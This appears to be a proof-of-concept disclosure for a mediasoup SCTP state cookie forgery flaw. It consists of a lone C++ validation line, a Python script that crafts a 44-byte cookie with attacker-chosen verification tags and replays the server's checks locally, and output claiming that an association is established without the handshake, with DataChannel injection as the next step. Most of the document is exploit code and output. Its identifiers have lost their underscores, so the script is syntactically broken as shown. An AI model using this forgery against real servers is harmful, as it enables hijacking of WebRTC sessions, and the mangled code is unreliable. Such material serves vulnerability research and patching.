if (receivedPacket->GetVerificationTag() != cookie->GetLocalVerificationTag())

#!/usr/bin/env python3
"""
Proof-of-concept: mediasoup SCTP state cookie forgery
Demonstrates that IsMediasoupStateCookie() accepts a fully attacker-crafted cookie.
Requires: struct (stdlib only)

Usage: python3 poc cookie forge.py
"""
import struct

# Attacker-chosen values -- all arbitrary
LOCAL VT = 0xDEADBEEF # Will be put in SCTP packet's Verification Tag field
REMOTE VT = 0xCAFEBABE
LOCAL TSN = 1000
REMOTE TSN = 2000
RWND = 65535
TIE TAG = 0

# Build a 44-byte state cookie matching mediasoup's StateCookie layout
cookie = bytearray(44)

# Offset 0: Magic1 = "msworker" (0x6D73776F726B6572)
cookie[0:8] = b'msworker'

# Offset 8: localVerificationTag (big-endian)
struct.pack into('>I', cookie, 8, LOCAL VT)

# Offset 12: remoteVerificationTag
struct.pack into('>I', cookie, 12, REMOTE VT)

# Offset 16: localInitialTsn
struct.pack into('>I', cookie, 16, LOCAL TSN)

# Offset 20: remoteInitialTsn
struct.pack into('>I', cookie, 20, REMOTE TSN)

# Offset 24: remoteAdvertisedReceiverWindowCredit
struct.pack into('>I', cookie, 24, RWND)

# Offset 28: tieTag (8 bytes)
struct.pack into('>Q', cookie, 28, TIE TAG)

# Offset 36: NegotiatedCapabilitiesField
# [36]: reserved = 0
# [37]: bits (ABCD flags) = 0
# [38:40]: Magic2 = 0xAD81 (network byte order)
# [40:42]: max outbound streams
# [42:44]: max inbound streams
cookie[36] = 0    # reserved
cookie[37] = 0    # bits
struct.pack into('>H', cookie, 38, 0xAD81)  # Magic2
struct.pack into('>H', cookie, 40, 1024)   # maxOutboundStreams
struct.pack into('>H', cookie, 42, 1024)   # maxInboundStreams

# Reproduce StateCookie::IsMediasoupStateCookie() logic:
def is mediasoup state cookie(buf):
  if len(buf) != 44:
    return False
  if buf[0:8] != b'msworker':
    return False
  magic2 = struct.unpack('>H', buf[38:40])[0]
  if magic2 != 0xAD81:
    return False
  return True

assert is mediasoup state cookie(cookie), "Cookie rejected - BUG in PoC"

# Reproduce HandleReceivedCookieEchoChunk validation (no TCB path):
# receivedPacket->GetVerificationTag() == cookie->GetLocalVerificationTag()
packet vt  = LOCAL VT
cookie local vt = struct.unpack('>I', cookie[8:12])[0]
auth passes = (packet vt == cookie local vt)

print("=== mediasoup SCTP State Cookie Forgery PoC ===")
print(f"Forged cookie (hex): {cookie.hex()}")
print(f"IsMediasoupStateCookie(): {is mediasoup state cookie(cookie)}")
print(f"localVerificationTag in cookie: {cookie local vt:#010x}")
print(f"SCTP packet verificationTag:  {packet vt:#010x}")
print(f"HandleReceivedCookieEchoChunk auth check passes: {auth passes}")
print()
print("Result: COOKIE-ECHO accepted -> SCTP association ESTABLISHED without 4-way handshake")
print("Next step: attacker sends DATA chunks to inject DataChannel messages")

=== mediasoup SCTP State Cookie Forgery PoC ===
Forged cookie (hex): 6d73776f726b6572deadbeefcafebabe000003e8000007d00000ffff00000000000000000000ad8104000400
IsMediasoupStateCookie(): True
localVerificationTag in cookie: 0xdeadbeef
SCTP packet verificationTag:  0xdeadbeef
HandleReceivedCookieEchoChunk auth check passes: True

Result: COOKIE-ECHO accepted -> SCTP association ESTABLISHED without 4-way handshake
Next step: attacker sends DATA chunks to inject DataChannel messages